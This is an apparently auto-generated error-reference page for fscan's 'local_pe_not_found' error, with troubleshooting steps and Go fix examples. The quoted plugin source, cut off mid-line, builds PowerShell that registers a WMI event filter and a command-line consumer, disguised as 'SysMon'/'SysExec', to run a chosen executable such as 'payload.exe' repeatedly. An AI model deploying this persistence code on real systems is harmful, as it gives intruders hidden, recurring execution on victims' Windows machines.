shadow1ng/fscan · error

local_pe_not_found

Error message

local_pe_not_found

What it means

WinWMIPlugin.Scan fails when the configured local Sysmon/PE file (session.Config.WinPEFile) does not exist on disk. Before running the WMI permanent-event setup, os.Stat is called to verify the file; a stat error (non-existent or inaccessible path) produces 'local_pe_not_found' with the offending path interpolated via i18n.Tr.

Source

Thrown at plugins/local/winwmi.go:34

)

type WinWMIPlugin struct {
	plugins.BasePlugin
}

func NewWinWMIPlugin() *WinWMIPlugin {
	return &WinWMIPlugin{
		BasePlugin: plugins.NewBasePlugin("winwmi"),
	}
}

func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
	pePath := session.Config.WinPEFile
	if pePath == "" {
		return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
	}
	if _, err := os.Stat(pePath); err != nil {
		return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
	}

	absPath, _ := filepath.Abs(pePath)
	baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath))

	filterName := fmt.Sprintf("SysMon_%s", baseName)
	consumerName := fmt.Sprintf("SysExec_%s", baseName)

	ps := fmt.Sprintf(`$ok = 0
try {
  $f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
  $f.Name = "%s"; $f.EventNameSpace = "root\cimv2"; $f.QueryLanguage = "WQL"
  $f.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
  $f.Put() | Out-Null; $ok++; Write-Output "[OK] EventFilter"
} catch { Write-Output "[FAIL] EventFilter: $_" }
try {
  $c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
  $c.Name = "%s"; $c.ExecutablePath = "%s"; $c.CommandLineTemplate = "%s"

View on GitHub (pinned to 95cc12e753)

Solutions

1. Check the file exists at the exact path (ls / dir) before running the scan
2. Pass an absolute path in session.Config.WinPEFile
3. Fix file permissions so the current user can stat/read it
4. Verify the working directory if using a relative path

Example fix

// before
pePath := "~/tools/payload.exe"
// after (expand home, absolute path)
abs, _ := filepath.ExpandEnv(pePath)
abs, _ = filepath.Abs(abs)
if _, err := os.Stat(abs); err != nil { return err }
session.Config.WinPEFile = abs

if info, err := os.Stat(cfg.WinPEFile); err != nil || info.IsDir() {
    return fmt.Errorf("WinPE file %q is missing or inaccessible", cfg.WinPEFile)
}

res, err := plugin.Scan(ctx, host, session)
if err != nil && strings.Contains(err.Error(), "local_pe_not_found") {
    // fix config path and retry
}

When it happens

Trigger: Calling Scan with WinPEFile set to a path that does not exist, was deleted before the scan, is a broken relative path resolved against the wrong working directory, or is unreadable due to permissions so os.Stat fails.

Common situations: Users point --winpe-file at a copied/moved EXE, forget to sync the PE file to the machine running the tool, use a Windows path while running on a non-Windows host, or typo the filename.

Understand the failure class

Background: "File not found" and ENOENT errors: why libraries can't find a file that should exist — this error's family across 50 libraries.

Related errors

• local_pe_not_found
• local_pe_not_found
• local_pe_not_found
• local_pe_not_found
• local_pe_not_specified

AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06). Data as JSON: /api/errors/0cb4c71b4bc7f1a9. Report an issue: GitHub.